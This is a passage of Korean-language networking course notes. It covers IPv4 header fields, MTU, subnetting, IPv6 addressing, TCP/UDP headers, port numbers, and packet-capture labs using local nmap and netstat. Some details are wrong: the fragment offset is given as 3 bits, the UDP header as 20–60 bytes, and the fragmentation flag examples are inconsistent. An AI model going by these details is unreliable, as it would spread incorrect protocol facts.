         congestion experienced - Current, Not used
    ------------------------------------------------

● (예) TOS(Type Of Service) 필드 권장
--------------------------------------------------------------------------------
Application               Min Delay   Max Throughput   Max Reliablity  Max Cost
--------------------------------------------------------------------------------
telnet/rlogin                1              0                0            0
--------------------------------------------------------------------------------
FTP    Control               1              0                0            0
       Data                  0              1                0            0
       Big Data              0              1                0            0
--------------------------------------------------------------------------------
TFTP                         1              0                0            0
--------------------------------------------------------------------------------
SMTP   Command Phase         1              0                0            0
       Data Phase            0              1                0            0
--------------------------------------------------------------------------------
DNS    UDP lookup            1              0                0            0
       TCP lookup            0              0                0            0
       Zone Transmission     0              1                0            0
--------------------------------------------------------------------------------
ICMP   Error                 0              0                0            0
       Searching             0              0                0            0
--------------------------------------------------------------------------------
SNMP                         0              0                1            0
BOOTP                        0              0                0            0
NNTP                         0              0                0            1
--------------------------------------------------------------------------------

■ 전체길이(Total Length, 16 bits)
● IP 헤더와 IP 데이터를 포함한 패킷의 전체 길이(예: 84bytes)
● 최대값은 65,535(2^16 -1)

■ 분할 식별자(Fragement Identification, 16 bits)
● 데이터그램의 분할과 재조립을 위해서 사용된다.
● 각 조각이 동일한 데이터그램에 속하며 같은 일련번호를 공유한다.

■ 분할 플래그(Fragmentation Flag, 3 bits)
● 분할 여부를 식별할 때 사용한다.
● 3비트 필드 중 - 첫 비트는 사용하지 않고, 따라서 항상 0- 두번째 비트가 1이면 분할 불가능, 0이면 분할 가능을 나타낸다.       1로 세팅되면 목적지 컴퓨터가 조각들을 다시 모을 능력이 없기 때문에 라우터로 하여금      데이터그램을 단편화하지 말라는 뜻이고      0으로 세팅되면 라우터에서 분열(조각,단편)이 가능함을 뜻한다.- 세번째 비트가 1이면 마지막 조각이 아니고 0이면 마지막 조각임을 나타냄.      현재 조각이 마지막이면 0이고,      더 많은 조각이 뒤에 계속 있으면 1이다.

■ 분할 옵션(Fregmentation Offset, 3 bits)
● 조각나기 전 원래의 데이터그램의 8 바이트 단위의 위치이다.
● 최초 분열 조각으로부터 어떤 곳에 붙여야 하는 위치를 나타낸다.
● 분할 데이터그램 중 데이터그램의 시작 번호를 명시한다.

(예) 4000Bytes 데이터를 MSS 값이 1480Bytes인 데이터그램의 분할.
    ----------------------------------------
    Identification = 24058
    IP:   Flags = 0x4
    IP:         .1.. .... = do not fragment
    IP:         ..0. .... = last fragment
    IP:   Fragment offset = 0 bytes
    ----------------------------------------

    ---------------------
    0                        ID          : 1111
                             Flag        : X01 (분할가능,마지막조각아님)
    1479                     Frag. Offset: 0
    ---------------------
    1480                     ID          : 1111
                             Flag        : X01 (분할가능,마지막조각아님)
    2959                     Frag. Offset: 1480
    ----------------------
    2960                     ID          : 1111
                             Flag        : X10 (분할불가능,마지막조각)
    3999                     Frag. Offset: 2960
    ----------------------
     
           [그림] 4000 bytes 패킷 분할

■ TTL(Time to Live, 8 bits)
● IP Datagram이 네트워크상에서 살아 있을 수 있는 시간을 정의하는 필드이다.
● 라인상에 체류할 수 있는 시간을 홉카운트(Hop Count)로 나타내는 필드이다.
● 라우터를 지날 때마다 1씩 감소하고 0이면 폐기한다.

■ 프로토콜(Protocol Identifier, 8 bits)
● IP 상위 계층의 프로토콜 식별자
● IANA 프로토콜 번호 관리(프로토콜 번호: 프로토콜 종류)
           00: Reserved, 01: ICMP, 02: IGMP, 04: IPv4(IP-in-IP Encapsulation),
           06: TCP, 08: EGP, 17: UDP,
           50: ESP(Encapsulatiing Security Payload) Extension Header
           88: EIGRP, 89: OSPFIGP, 179: BGP

■ 검사합(Checksum, 16 bits)
● 헤더에 대한 오류 검출
● 에러확인을 위한 16비트 필드

■ 출발지 IP 주소(Source IP Address, 32 bits)

■ 목적지 IP 주소(Destination IP Address, 32 bits)

■ IP 헤더 옵션(선택 옵션)
● 가변 길이 bits
● IANA IP OPTIONS NUMBERS

■ 패딩(Padding)
● 가변 길이 bits
● 필요한 경우에만 사용
● 옵션을 사용하다 보면 헤더가 32비트의 정수배로 되지 않는 경우가 있다.
● 이런 경우 자리 우기(Padding)을 통해 정수 배로 설정한다.




[참고] MTU(Maximum Transfer Unit, 최대전송단위)

■ 최대 전송 단위(MTU)
어떤 데이터링크 또는 네트워크에서 하나의 프레임 또는 패킷에 담아 운반할 수 있는 최대 크기(size)

-----------------------------------------
캡슐종류              MTU(bytes)
-----------------------------------------
Hyperchannel          65,535
Loopback            16436 (운영체제에 따라 조금씩 상이하다.)
IEEE 802.3 Ethernet    1492
DIX Ethernet                 1,500
Token Ring(16M)               17,914
Token Ring(4M)               4,464
802.4 Token Bus              8166
FDDI                         4,352
IPoA                         9180
SMDS                         9,180
X.25 및 ISDN                 576
PPP                          1500 (다른 MTU 지정도 가능 (EX)296)
ATM            63
-----------------------------------------
(Linux) CentOS 5.10
# ifconfig

eth0      Link encap:Ethernet  HWaddr 00:0C:29:D1:CC:21 
          inet addr:192.168.20.200  Bcast:192.168.20.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2761 errors:0 dropped:0 overruns:0 frame:0
          TX packets:618 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:253435 (247.4 KiB)  TX bytes:51184 (49.9 KiB)
          Interrupt:67 Base address:0x2024




(정리) IPv4
 
IPv4 : XXX.XXX.XXX.XXX (32bits 주소, 10진수, 4 octet)
       172.16 .9  .200 

■ 클래스별(Class) IP 대역
A Class : 1   ~ 127    (예) 10.10.10.21
B Class : 128 ~ 191    (예) 191.32.80.120
C Class : 192 ~ 223    (예) 203.211.5.3
D Class : 224 ~ 239    (예) 224.0.1.9
E Class : 240 ~ 254   
 
 
[참고] 8bits (0-255)
128 64 32 16 8  4  2  1
 1  0  0  0  0  0  0  0  : 128 (256 - 128 = 128)
 1  1  0  0  0  0  0  0  : 192 (256 - 192 = 64)
 1  1  1  0  0  0  0  0  : 224 (256 - 224 = 32)
 1  1  1  1  0  0  0  0  : 240 (256 - 240 = 16)
 1  1  1  1  1  0  0  0  : 248 (256 - 248 = 8)
 1  1  1  1  1  1  0  0  : 252 (256 - 252 = 4)


■ 사설 IP(Private Address)
A Class : 10.X.X.X
B Class : 172.16.X.X ~ 172.31.X.X
C Class : 192.168.X.X
-> 반드시 "192.168.X.X"만 사용해야 하는가?
   (예) 회사에 사설 아이피를 사용해서 10대의 컴퓨터를 가지고 사설 네트워크를 구축
-> 회사 네트워크 구축시 물리는 클라이언트의 수는 어떻게 되는가?
 
 
■ Network Number / Broadcast Addr. / Netmask
- Network Number           지정된 네트워크에 첫번째 IP(EX: 172.16.0.0)
- Broadcast Address        지정된 네트워크에 마지막 IP(EX: 172.16.255.255)
- Netmask                  네트워크를 구분하는 인자값 (EX: 255.255.0.0)
 
 
■ 참고 URL
(중요) IANA:  http://www.iana.org/numbers/
-> IP Address Allocations 관련한 많은 문서 확인
 

Address(s)
Description
References
Date Registered
Last Reviewed
224.0.0.0
Base Address (Reserved)
[RFC1112][Jon_Postel]


224.0.0.1
All Systems on this Subnet
[RFC1112][Jon_Postel]


224.0.0.2
All Routers on this Subnet
[Jon_Postel]


224.0.1.1   
NTP Network Time Protocol
[RFC1119][RFC5905][David_Mills]



(EX) # ping 224.0.0.1
     # ping 224.0.0.2





(4). 서브넷팅과 VLSM(Introducing Sunbnetting and VLSM)
- VLSM(Variable Length Subnet Mask, 가변 길이 서브넷 마스크)

■ Netmask -> Subnetmask -> VLSM

■ 넷마스크의 의미(Netmask Means)?
   기본 넷마스크(Default Netmask)
   ▪ A Class: 255.0.0.0
   ▪ B Class: 255.255.0.0
   ▪ C Class: 255.255.255.0


                   -> 172.16.0.0/255.255.0.0 (ISP(Internet Service Provider) 제공)
 
===== INTERNET ======    ==== ROUTER ====   
   Source/Dest              172.16.0.0/
     XXXX/172.16.9.200      255.255.0.0     Network ID : 172.16.0.0                           

                                          ---------+------------------+---------
                                                   |                  |
                                                   |                  |
=====================    ================        HOSTA              HOSTB
                                               172.16.0.0/       172.16.0.0/
                                               255.255.0.0       255.255.0.0
 
      172.16 .9.200                    # ifconfig eth0 172.16.9.200 netmask 255.255.255.0
AND   255.255.0.0                 
-----------------------           
      172.16 .0.0
 
 
EX) Bits AND Operation
 
A  B | S         110100         110100
-----+----  AND  000000    AND  111111
0  0 | 0    -------------  ------------
0  1 | 0         000000         110100
1  0 | 0
1  1 | 1
 

 
 
 
(4-1). 서브넷팅(Subnetting)
 
(용어 정리)
---------------------------------------------
Supernet    <-    Network    ->    Subnetwork
Supernetting                       Subnetting
                  Netmask          Subnetmask
---------------------------------------------
(EX: CIDR)                         (EX: VLSM)


■ Subnetting 하는 이유
- 관리(성능, 부서별, 지역적 위치, 프로토콜별 등)
- 보안상(서버대역-사용자대역 분리, 접근 제어 등)

You can divide a network into subnetworks to:
■ Isolate network traffic within local subnets, therefore reducing
contention for network bandwidth
 (예: 100Mbps 대역폭의 네트워크 -> Collision Rate : 10% 이상)
■ Secure or limit access to a subnet
  (예: 회사 중역 대역 <-> 사원 대역, 서버 대역 <-> 사용자 대역)
■ Enable localization of specific network protocols to a subnet
  (예: TCP/IP 대역 <-> DNS 대역, Ethernet <-> FDDI 대역)
■ Allow the association of subnet with a specific geography or a department
  (예: 서울본사 <-> 대전지사,부산지사,  영업부서대역 <-> 개발부서대역)
■ Allow administrative work to be broken into logical units
  (예: VLAN)
 

■ 서브넷마스크(Subnetmask)
  if C class,
  - Subnet 2 : 255.255.255.128 (256 - 128 = 128)
  - Subnet 4 : 255.255.255.192 (256 - 192 = 64 )
  - Subnet 8 : 255.255.255.224 (256 - 224 = 32 )
  - Subnet 16: 255.255.255.240 (256 - 224 = 16 )
  - Subnet 32: 255.255.255.248 (256 - 248 = 8  )
  - Subnet 64: 255.255.255.252 (256 - 252 = 4  )
 
 
예) 203.247.50.0/255.255.255.0 네트워크 대역 할당 받음.
 
   203.247.50.      XXXXXXXX
===================================================
Network Number   |         Host Number            |
===================================================
 
===================================================
Network Number   | Subnet Number | Host Number    |
===================================================
 
EX) C Class (203.247.50.0/255.255.255.0) => 2 Subnet
 
1. 203.274.50.XXXXXXXX
 
2. 203.247.50.0XXXXXXX
   203.247.50.1XXXXXXX
 
Subnetmask : Network ID(-> 1 처리), Host ID(-> 0 처리)
 
3. 255.255.255.128  ====> 203.247.50.0/255.255.255.128, 203.247.50.128/255.255.255.128
EX) C Class (203.247.50.0/255.255.255.0) => 4 Subnet
 
1. 203.247.50.XXXXXXXX
 
2. 203.247.50.00XXXXXX
   203.247.50.01XXXXXX
   203.247.50.10XXXXXX
   203.247.50.11XXXXXX

3. 255.255.255.192
 
 
203.247.50.XXX
==========        ==========       ==========
0                 0                0
                                            -> 203.247.50.0 / 255.255.255.192
                                   63
                                   ==========
                                   64
                                            -> 203.247.50.64 / 255.255.255.192
 
                  127              127
                  ==========       ==========
                  128              128
                                            -> 203.247.50.128 / 255.255.255.192
                                   191
                                   ==========
                                   192
                                            -> 203.247.50.192 / 255.255.255.192
 
255               255              255
==========        ==========       ==========
 

            203.247.50.65/255.255.255.192
            = 203.247.50.65/26

            172.16.10.200/255.255.255.0
            = 172.16.10.200/24



[실습] Netmask를 설정/변경하기
- linux200, win2008 서버에서 실습

[참고] IPv6에 대해서
● IPv6 주소 체계
● IPv6 동작 원리






(c). Aggregatable Global Unicast Address Types
 
3 bits 13 bits        32 bits     16 bits           64 bits
+-----+----------+--------------+-----------+--------------------------------+
| 001 | TLA      | NLA          | SLA       | Interface ID                     |
+-----+----------+--------------+-----------+--------------------------------+
예)     한국       KT             DAUM
 
prefix                     The assigned prefix for aggregatable global addresses(001).
 
TLA                        The identifying number of the Internet authority
(Top-Level Aggregator)     that assigned the provider portion of the address,
                           for example, Internet Assigned Numbers Authority (IANA).
 
NLA
(Next Level Aggregator)    The address identifier that is assigned to a company or
                           organization by its ISP(Internet Service Provider).
 
SLA                        The subnet address assigned to networks in the company or
(Site-Level Aggregator)    organization.
 
Interface ID               The portion of the IP address that derives from the
                           MAC address, that is, the EUI-64 address.
 
■ IPv6 동작 원리

IP Autoconfiguration
- Statefull autoconfiguration(EX: DHCPv6)
- Stateless autoconfiguration


■ IP 자동 설정 과정(IP Autoconfiguration(Stateless Autoconfiguration))
■ 라우터에서 Prefix 변경(Router Prefix Modification)
■ IP 중첩 점검(IP Duplecated Address Detection)




http://blog.naver.com/nackji80/220544295258
http://james_parku.blog.me/220174254677




10
 전송계층(Transport Layer)




■ TCP / UDP의 특징
■ Header 분석
         - TCP Header 분석
         - UDP Header 분석
■ 포트 번호 체계
■ 대표적인 서비스 패킷 분석
         - telnet packet 분석
         - ftp packet 분석
         - nslookup packet 분석

 

(1). 전송계층 프로토콜의 특징(Protocol Characteristic)

■ TCP(Transmission Control Protocal)
■ UDP(User Datagram Protocol)
 
 

(1-1). TCP(Transmission Control Protocal)
 
TCP[티씨피]는 인터넷상의 컴퓨터들 사이에서 데이터를 메시지의 형태로 보내기 위해 IP와 함께 사용되는 프로토콜이다. IP가 실제로 데이터의 배달처리를 관장하는 동안, TCP는 데이터 패킷을 추적 관리한다 (메시지는 인터넷 내에서 효율적인 라우팅을 하기 위해 여러개의 작은 조각으로 나뉘어지는데, 이것을 패킷이라고 부른다).
 
예를 들면, HTML 파일이 웹 서버로부터 사용자에게 보내질 때, 서버 내에 있는 TCP 프로그램 계층은 파일을 여러 개의 패킷들로 나누고, 패킷 번호를 붙인 다음, IP 프로그램 계층으로 보낸다. 각 패킷이 동일한 수신지 주소(IP주소)를 가지고 있더라도, 패킷들은 네트웍의 서로 다른 경로를 통해 전송될 수 있다. 다른 한쪽 편(사용자 컴퓨터 내의 클라이언트프로그램)에 있는 TCP는, 각 패킷들을 재조립하고, 사용자에게 하나의 완전한 파일로 보낼수 있을 때까지 기다린다.
 
TCP는 연결지향 프로토콜이라고 알려져 있는데, 이것은 메시지들이 각단의 응용 프로그램들에 의해 교환되는 시간동안 연결이 확립되고 유지되는 것을 의미한다. TCP는 IP가 처리할 수 있도록 메시지를 여러 개의 패킷들로 확실히 나누고, 반대편에서는 완전한 메시지로패킷들을 재조립할 책임이 있다. OSI 통신모델에서, TCP는 4계층인 트랜스포트 계층에 속한다.

TCP 프로토콜의 특징
● 연결형 기반 서비스(Connection Oriented Protocol)
● 상태 기반 서비스(Statefull Protocol)
● 신뢰 기반 서비스(Reliable Protocol)
 
(예) TCP 프로토콜을 사용하는 대표적인 서비스(EX: CentOS 5.10)
    # cat /etc/services | grep -i tcp
    # nmap localhost
    # netstat -an | more
● 대표적인 TCP 기반 서비스: - telnet- FTP(File Transfer Protocol)- HTTP(Hypertext Transfer Protocol)- ssh- SMTP(Simple Mail Transfer Protocol)- NFSv4(Network File System Version 4)- 기타
(1-2). UDP(User Datagram Protocol)
 
UDP[유디피]는 IP를 사용하는 네트웍 내에서 컴퓨터들 간에 메시지들이 교환될 때 제한된 서비스만을 제공하는 통신 프로토콜이다. UDP는 TCP의 대안이며, IP와 함께 쓰일 때에는 UDP/IP라고 표현하기도 한다. TCP와 마찬가지로 UDP도 한 컴퓨터에서 다른 컴퓨터로 데이터그램이라고 불리는 실제 데이터 단위를 받기 위해 IP를 사용한다. 그러나 UDP는 TCP와는 달리, 메시지를 패킷(데이터그램)으로 나누고, 반대편에서 재조립하는 등의 서비스는 제공하지 않으며, 특히 도착하는 데이터 패킷들의 순서를 제공하지 않는다. 이 말은 UDP를 사용하는 응용프로그램은, 전체 메시지가 올바른 순서로 도착했는지에 대해 확인할 수 있어야한다는 것을 의미한다. 교환해야할 데이터가 매우 적은(그러므로 재조립해야할 메시지도 매우 적은) 네트웍 응용프로그램들은 처리시간 단축을 위해 TCP 보다 UDP를 더 좋아할 수 있다. 일례로 TFTP는 TCP 대신에 UDP를 사용한다.
 
UDP는 IP 계층에서 제공되지 않는 두 개의 서비스를 제공하는데, 하나는 다른 사용자 요청을 구분하기 위한 포트 번호와, 도착한 데이터의 손상여부를 확인하기 위한 체크섬 기능이다.
 
OSI 통신 모델에서, UDP는 TCP와 마찬가지로 4계층인 트랜스포트 계층에 속한다.

UDP 프로토콜의 특징
● 비연결형 서비스(Connectionless Protocol)
● 비상태 서비스(Stateless Protocol)
● 비신뢰 서비스(Unreliable Protocol)
 
(예) UDP 프로토콜을 사용하는 대표적인 서비스(EX: CentOS 5.10)
    # cat /etc/services | grep -i udp
    # nmap localhost     # netstat -an | more
● 대표적인 UDP 서비스: - DNS(Domain Name System) query- SNMP(Sime Netowrk Management Protocol) data- NTP(Network Time Protocol) data- TFTP(Trivial FTP)- DHCP(Dynamic Host Configuration Protocol)- NFS(Network File System) - NFSv2, NFSv3- RIP(Routing Information Protocol)- 기타
 

 



(2). TCP 헤더 분석
 

                               +--------------+               +-----------------+
                               |  Message     |               | FTP, telnet, ...|
                               +--------------+               |                 |
                    +----------+--------------+               +--------+--------+
                    |TCP Header|  Message     |               |  TCP   |  UDP   |
                    +----------+--------------+               |        |        |
                                                              +--------+--------+
                                                              |                 |
                                                              | ICMP/IGMP       |
         +----------+-------------------------+               |                 |
         |IP Header |TCP Header|  Message     |               |     IP          |
         +----------+-------------------------+               |                 |
                                                              |       ARP/RARP  |
                                                              |                 |
                                                              +-----------------+
+--------+----------+----------+--------------+--------+      |                 |
| Ether  |IP Header |TCP Header|  Message      |   CRC  |      |Network Interface|
| Header |          |          |            |        |      |                 |
+--------+----------+----------+--------------+--------+      +-----------------+

 
                     [그림] TCP Encapsulation in IP Datagram
 
[실습] TCP 패킷을 캡쳐하고 TCP 헤더를 분석
- telnet 과정 중 첫번째 패킷을 가지고 TCP 헤더를 분석한다.
- win2008(telnet CMD) --> linux200(telnetd(23))

    Display Filter : ip.addr == 192.168.20.200


[참고] TCP 헤더 분석
- 기본 헤더 : 20bytes
- 옵션 사용시 헤더의 최대 크기 : 60bytes (헤더의 길이: 20 ~ 60 bytes)
- IP 주소 + 포트 번호 = 소켓 번호 (양쪽 호스트 내 종단 프로세스 식별)

■ 발신지 포트(Source Port, 16 bits)
● 송신 호스트 응용프로세스가 사용하는 번호

■ 목적지 포트(Destnation Port, 16 bits)
● 수신 호스트 응용프로세스가 사용하는 번호

■ 순차 번호(Sequence Number)
● TCP 각 세그먼트의 첫번째 바이트에 부여되는 번호.
● 신뢰성 있는 데이터 전송을 위해 모든 바이트마다 일련 번호 부착.
● 32bits 필드로 실제 데이터 첫 번째 바이트에 부여된 번호. 32 bits 이므로 최대 4기가(2^32) 바이트 크기의 송신 데이터에 순서화된 일련번호를 붙일수 있음
● 초기 순차번호(ISN, Initial Sequence Number)- TCP 연결설정 동안 난수발생기를 이용하여 초기순서번호(ISN)를 생성- TCP 양방향이므로 각 방향 마다 다른 ISN 번호가 사용됨.

■ 응답 확인 번호(Acknowledgement number, 32 bits)
● 수신한 세그먼트의 확인 응답을 위한 32bits 필드
● 세그먼트에 실린 데이터의 마지막 바이트의 순차 번호에 1을 더한 값.- 수신하기를 기대하는 다음 바이트 번호 = (마지막 수신 성공 순서번호 + 1)

■ 헤더 길이(Header Length, 4 bits)
● TCP 헤더 길이를 나타내는 4bits 필드.
● 4바이트(32 비트) 단위로 표시. 따라서, TCP 헤더 길이는 총 60 바이트 이하
● 헤더의 길이가 20-60 이므로 5-12 사이의 값.

■ TCP 제어 플래그(TCP Control Flag, 6 bits)
● 각 필드 흐름제어, 종료, 데이터 전송 모드용 6bit 구성.
● URN : 긴급 플래그(Urgent pointer), 긴급한 처리를 요하는 것을 알림.- 송신측 상위계층이 긴급 데이터라고 하면, 긴급비트를 1로 설정하고 순서에 상관없이 먼저 송신됨, 긴급 데이터의 마지막 바이트 위치가 Urgent pointer로 가리켜짐
● ACK : 응답(Acknowledgement) 플래그, 응답패킷에 모두 1로 세팅됨.- 1로 세팅되면, 확인번호 유효함을 뜻함- 0로 세팅되면, 확인번호 미포함(즉, 32비트 크기의 확인응답번호 필드 무시됨)- SYN 세그먼트 전송 이후 세그먼트에는 항상 이 비트가 1로 세팅이 됨.
● PSH : Push 플래그, 실제 데이터의 전송이 일어나고 있음을 표시.- 가능한한 빨리 응용프로그램에 버퍼링된 데이터를 즉시 전달할것. 수신측은 버퍼가 찰 때까지 기다리지 않고 수신 즉시 어플리케이션에 전달.- 서버측에서는 더이상 전송할 데이터가 없음을 나타내기도 함.
● RST : Reset 플래그, 비정상적인 종료를 위한 플래그.- 연결확립(ESTABLISHED)된 회선에 강제 리셋 요청.
● SYN : 연결(Synchronize)요청 플래그, 정상적인 연결을 요청할 때 사용되는 플래그.- TCP 연결 설정 초기화를 위한 순서번호의 동기화      연결요청: SYN=1, ACK=0      연결허락: SYN=1, ACK=1      연결설정: ACK=1

● FIN : Finish 플래그, 정상적인 연결의 종료에 사용되는 플래그- 송신기가 데이터 보내기를 끝마침       종결요청: FIN=1       종결응답: FIN=1, ACK=1
■ 윈도우 크기(Window size, 16 bits)
● 응답 확인을 받기 전에 보낼 수 있는 데이터의 양을 뜻함.
● 윈도우 크기가 16bit이므로 최대 65535 Bytes(2^16)까지임.
● 흐름제어를 위해 사용하는 16비트 필드이며 TCP 흐름제어를 위해 통신의 상대편에게 자신의 버퍼 여유용량 크기를 지속적으로 통보하여 주는 기능을 함.
● 수신측에 의해 능동적으로 흐름제어를 수행하게 됨.

■ 검사합(Checksum, 16 bits)
● 각 TCP 세그먼트 변형 여부 확인
● IP와 달리 전체 세그먼트의 변형 여부를 나타낸다.
● 실제 헤더 이외에도 발신, 수신 IP 주소 및 프로토콜 ID등을 추가하여 체크섬을 계산함.       체크섬 계상 대상: (가상 헤더 + 실제 헤더 + 데이터 + 패딩)
          가상 헤더: 발신 IP + 수신 IP + zero(8bits) + 프로토콜 ID + UDP/TCP 길이          실제 헤더: 실제 TCP/UDP 헤더
■ 긴급포인터(Urgent Pointer, 16 bits)
● 세그먼트가 긴급 데이터를 포함하고 있을 때.
● 제어 플래그가 1로 설정시 16비트 필드값과 순차번호를 더하면 긴급 데이터 바이트 번호, 위치를 얻을 수 있음.
● TCP 세그먼트에 포함된 긴급 데이터의 마지막 바이트에 대한 일련번호.- 현재 일련번호(sequence number)로 부터 긴급 데이터까지의 바이트 오프셋(offset).- 해당 세그먼트의 일련번호에 urgent point 값을 더해 긴급 데이터의 끝을 알수 있음.

■ 옵션(Options)
● 최대 40바이트까지 옵션 데이터 포함 가능.
● TCP MSS 옵션을 협상하거나, 타임스탬프 옵션 정의 등


 

 
 
 
(4) UDP 헤더 분석(UDP Header Analysis)
 

                               +--------------+               +-----------------+
                               |  Message     |               | DNS, NTP ....   |
                               +--------------+             |                 |
                    +----------+--------------+               +--------+--------+
                    |UDP Header|  Message     |               |  TCP   |  UDP   |
                    +----------+--------------+               |        |        |
                                                              +--------+--------+
                                                              |                 |
                                                              | ICMP/IGMP       |
         +----------+-------------------------+               |                 |
         |IP Header |UDP Header|  Message     |               |     IP          |
         +----------+-------------------------+               |                 |
                                                              |       ARP/RARP  |
                                                              |                 |
                                                              +-----------------+
+--------+----------+----------+--------------+--------+      |                 |
| Ether  |IP Header |UDP Header|  Message      |   CRC  |      |Network Interface|
| Header |          |          |             |        |      |                 |
+--------+----------+----------+--------------+--------+      +-----------------+

 
                   [그림] UDP Encapsulation in IP Datagram




[실습] UDP 패킷을 캡쳐하고 UDP 헤더를 분석
● RFC 768, RFC 1122
● nslookup 명령어의 패킷을 캡쳐하고 UDP 헤더 부분을 분석한다.
● linux200(nslookup CMD) --> kns.kornet.net(named(53))

    Display Filter : dns && ip.addr == 168.126.63.1 && ! ip.addr == 192.168.10.100


[참고] UDP 헤더 분석
- 기본 헤더 : 20bytes
- 옵션 사용시 헤더의 최대 크기 : 60bytes (헤더의 길이: 20 ~ 60 bytes)
- IP 주소 + 포트 번호 = 소켓 번호 (양쪽 호스트 내 종단 프로세스 식별)

■ 발신 포트(Source Port, 16 bits)
● 송신 호스트 응용프로세스가 사용하는 번호

■ 수신 포트(Destnation Port, 16 bits)
● 수신 호스트 응용프로세스가 사용하는 번호

■ 패킷 전체 길이(Packet Total Length, 16bits)
● 바이트 단위의 길이. 최소값 8(헤더만 포함될 때)

■ 검사합(Checksum, 16 bits)
● 선택 항목. 체크섬 값이 0이면 수신측은 체크섬 계산 안함





(5) 포트(Port) 번호 체계

(5-1) 포트 번호가 필요한 이유?
    ■ IP 주소(IP Address) : 호스트(Host) 또는 물리적인 포트를 구분하기 위한 번호
    ■ 포트 주소(Port Address, Port Number) : 서비스(Service) 구분하기 위한 번호

(5-2) 포트 번호(Po-rt Number)에 대한 설명

    MAC 주소(MAC Addr) : 6 bytes  (48 bits)
    IP 주소(IP Addr)   : 4 bytes  (32 bits)
    Port 주소(Port Num): 2 bytes  (16 bits)

포트번호는 인터넷이나 기타 다른 네트웍 메시지가 서버에 도착하였을 때, 전달되어야할 특정 프로세스를 인식하기 위한 방법이다. TCP와 UDP에서, 포트번호는 단위 메시지에 추가되는 헤더 내에 넣어지는 16 비트 정수의 형태를 갖는다. 이 포트번호는 논리적으로는 클라이언트와 서버의 전달계층 사이를, 그리고 물리적으로는 전달계층과 인터넷계층 사이를 통과하여, 계속 전달 된다.

예를 들면, 클라이언트가 인터넷 서버에 하는 요청은, 호스트의 FTP 서버에 의해 제공되는 파일을 요청하는 것일 수 있다. 원격지의 서버 내에 있는 FTP 프로세스에 사용자의 요청을 전달하기 위해, 사용자 컴퓨터에 있는 TCP 소프트웨어 계층은 요청에 부가되어지는 16 비트 정수의 포트 번호 내에 21 (FTP 요청과 관련하여 통상 사용되는 번호이다) 이라는 포트번호를 확인한다. 서버에서, TCP 계층은 21이라는 포트번호를 읽고, 사용자의 요청을 서버에 있는 FTP 프로그램에 전달할 것이다.

일부 서비스들에 대해서는 인습적으로 영구적인 포트번호들이 할당되어 있다. 이러한 것들을 well-known ports라고 부른다. 그 외의 경우에는, 포트번호는 할당된 포트번호들의 범위 내에서 요청의 시작과 종료 동안에만 일시적으로 부여된다.

(5-3) 포트 번호 체계

The port numbers are divided into three ranges:
----------------------------------------------------------
   포트 종류                            포트 번호
----------------------------------------------------------
■ The Well-Known Ports                 0     - 1023
■ The Registered Ports                 1024  - 49151
■ The Dynamic and/or Priv ate Ports.   49152 - 65535
----------------------------------------------------------

The Well Known Ports are those from 0 through 1023.

DCCP Well Known ports SHOULD NOT be used without IANA registration. The registration procedure is defined in [RFC4340], Section 19.9. The Registered Ports are those from 1024 through 49151

DCCP Registered ports SHOULD NOT be used without IANA registration. The registration procedure is defined in [RFC4340], Section 19.9. The Dynamic and/or Private Ports are those from 49152 through 65535


(5-4) 네트워크 서비스 포트

Many system applications support network services. Each network service uses a port that represents an address space reserved for that service. If a port number is not pre-assigned, the operating system allows an application to choose an unused port number. A client often communicates with a server through a well-known port. Well-known ports are stored in the /etc/inet/services file.

    [참고] C:\Windows\system32\Drivers\etc\services

# cat /etc/services | more

..... (중략) .....
#
# The latest IANA port assignments can be gotten from
#       http://www.iana.org/assignments/port-numbers
# The Well Known Ports are those from 0 through 1023.
# The Registered Ports are those from 1024 through 49151
# The Dynamic and/or Private Ports are those from 49152 through 65535
#
# Each line describes one service, and is of the form:
#
# service-name  port/protocol  [aliases ...]   [# comment]

tcpmux          1/tcp                           # TCP port service multiplexer
tcpmux          1/udp                           # TCP port service multiplexer
rje             5/tcp                           # Remote Job Entry
rje             5/udp                           # Remote Job Entry
echo            7/tcp
echo            7/udp
..... (중략) .....


--------------------------------------------
필드    설명
--------------------------------------------
smtp    서비스명
25/tcp    포트번호/프로토콜
mail    별칭(Alias)
--------------------------------------------


(5-5) 대표적인 서비스 포트
----------------------------------------------------
포트    설명
----------------------------------------------------
20,21    FTP
22    SSH
23    TELNET
25    SMTP
53    DNS
67         DHCP Server
68         DHCP Client
69         TFTP
79         finger
80    http
110    POP3
111        sunrpc
123        NTP
143    IMAP
161       SNMP
162      SNMP Trap
443        https
514       syslogd
2049       nfsd
7100      fs
----------------------------------------------------




(5-6) 포트번호 확인

■ 포트번호의 전체 목록:
    http://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xml
■ 포트번호의 전체 목록:
    # cat /etc/services
■ 서버에서 사용중인 포트번호 번호 목록
    # nmap localhost
    # netstat -an | more (# netstat -antp, # netstat -anup)



(5-7) 실무적인 예

    --------- (Firewall/Router) -------+--------+--------+------
                                     |      |    |
                      ServerA  ServerB  ServerC
                                     (FTP)     (WEB)    (MAIL)


(전제조건) 서버에서만 서비스 하는 경우라고 가정한다면

(서버에서)
    요청: FTP 서비스 포트를 열어 달라!!!!
    -> FTP 서비스 enable

(네트워크 장비:라우터/스위치/방화벽)
    요청: FTP 서비스 포트를 열어 달라!!!!
    -> FTP 서비스 접근 제어(ACL) Open

    (linux200)
    # nmap localhost
    # netstat -an | grep :21

    # service vsftpd stop
    # nmap localhost
    # netstat -an | grep :21

    # service vsftp start
    # nmap localhost
    # netstat -an | grep :21




[실습] 자신의 서버에 열린 포트를 점검










(6). TCP/UDP 대표적인 서비스 패킷 분석
■ telnet 패킷 분석
■ ftp 패킷 분석
■ ssh 패킷을 캡쳐하여 분석
■ web 패킷을 분석
■ nslookup 패킷 분석


[실습] telnet 패킷을 분석하기
● Tree-way handshake 부분을 중점적으로 분석한다.-> "SYN - ACK/SYN - ACK" 부분에 대한 숫자를 적어 놓는다.
● win2008(telnet CMD) --> linux200(telnetd(23))


[실습] ftp 패킷을 분석하기
● Tree-way handshake 부분을 중점적으로 분석한다.-> "SYN - ACK/SYN - ACK" 부분에 대한 숫자를 적어 놓는다.
● win2008(ftp CMD) --> linux200(vsftpd(21,20))- ftp 접속시 active(not passive)로 접속한다.


[실습] ssh 패킷을 캡쳐하여 분석한다.
● 평문형태와 암호화된 형태의 패킷의 차이점에 대해 분석한다.
● win2008(putty) --> linux200(sshd(22))


